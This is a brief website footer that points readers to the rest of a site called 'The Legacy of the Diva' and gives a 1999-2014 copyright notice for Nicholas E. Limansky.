    please be sure to see the rest of the site:
    The Legacy of the Diva
    Copyright © 1999 - 2014 by Nicholas E. Limansky
    All Rights Reserved